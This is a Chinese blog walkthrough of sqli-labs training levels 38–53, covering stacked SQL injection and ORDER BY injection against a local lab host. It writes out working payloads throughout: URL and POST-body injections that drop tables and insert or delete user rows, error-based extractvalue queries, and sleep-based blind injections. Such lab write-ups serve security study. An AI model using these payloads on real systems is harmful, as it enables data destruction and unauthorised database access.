Loading

sqli-labs刷题(38-53)

堆叠注入

堆叠注入,Stacked injection。也就是利用多行sql语句来进行sql注入。在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

38 单引号闭合

首先发现了闭合方式是单引号闭合,然后--+注释有效,当然直接union也可以注入。但是利用堆叠注入的话,就先union查看数据库名,表名。然后利用堆叠注入,在后面的语句去更改数据库内容。
如:开始数据库有5个表

payload:http://sql.test/Less-38/?id=0%27;drop%20table%20test;可以删除test表。所以payload也可以是任何其他的操作,insert into,update set,delete from。。。

39 无闭合

http://sql.test/Less-39/?id=0;insert%20into%20users%20values(99,%27zx%27,%27zx%27)--+
http://sql.test/Less-39/?id=99

40 单引号加括号闭合

http://sql.test/Less-40/?id=1%27);delete%20from%20users%20where%20username=%27zx%27--+

41 无闭合

http://sql.test/Less-41/?id=1;insert%20into%20users%20values(99,%27qqw%27,%27qqw%27)--+

42 post类型+单引号闭合

POST /Less-42/login.php HTTP/1.1
Host: sql.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Origin: http://sql.test
Connection: close
Referer: http://sql.test/Less-42/index.php
Cookie: PHPSESSID=s9fdl2d7j2392rj95i8heok963
Upgrade-Insecure-Requests: 1

login_user=admin&login_password=123';delete from users where username='qqw&mysubmit=Login

稍微要注意的就是这里burpsuite抓包呢,即使执行成功的response也是slap...

43 post + 单引号+括号闭合

POST /Less-43/login.php HTTP/1.1
Host: sql.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Origin: http://sql.test
Connection: close
Referer: http://sql.test/Less-43/index.php
Cookie: PHPSESSID=s9fdl2d7j2392rj95i8heok963
Upgrade-Insecure-Requests: 1

login_user=admin&login_password=');insert into users values(9,'nine','nine')--+&mysubmit=Login

44 post单引号闭合 去掉了报错

虽然去掉了报错,依然可以通过response中返回的图片是否是slap来判断闭合方式是否成功
成功

失败

与42同

45

与43同

order注入

46

源码中语句 $sql = "SELECT * FROM users ORDER BY $id";
开启了错误信息返回,所以直接报错
http://sql.test/Less-46/?sort=1%20and%20extractvalue(1,concat(0x7e,(select%20user())))#

47 单引号闭合

http://sql.test/Less-47/?sort=username%27and%20extractvalue(1,concat(0x7e,(select%20user())))--+

48 盲注

盲注基本要用的方法可以是if+sleep(),还有case when,或者利用rand()
都试试

1时间盲注:http://sql.test/Less-48/?sort=if(1=1,sleep(0.2),0)
2在知道列名时可以这样:http://sql.test/Less-48/?sort=(CASE+WHEN+(1=1)+THEN+username+ELSE+id+END)
3利用rand():http://sql.test/Less-48/?sort=rand(1=1)

脚本编写与之前的差不多,关键就是1和0返回的差别找到就改一下,接着利用字符截取一个个判断,然后正确了就拼接,就懒得写了。

49 单引号闭合盲注

与48多了一个单引号,微改即可

50 报错48

同48
或报错http://sql.test/Less-50/?sort=1%20and%20extractvalue(1,concat(0x7e,(select%20user())))--+

51 报错49

同49
或报错http://sql.test/Less-51/?sort=%27%20and%20extractvalue(1,concat(0x7e,(select%20user())))--+

52

无闭合盲注直接打/?sort=if(1=1,sleep(1),0)

53

单引号闭合盲注/?sort=1%27%20and%20if(1=1,sleep(1),0)--+

posted @ 2022-03-03 21:44  雨下整夜z  阅读(45)  评论(0编辑  收藏  举报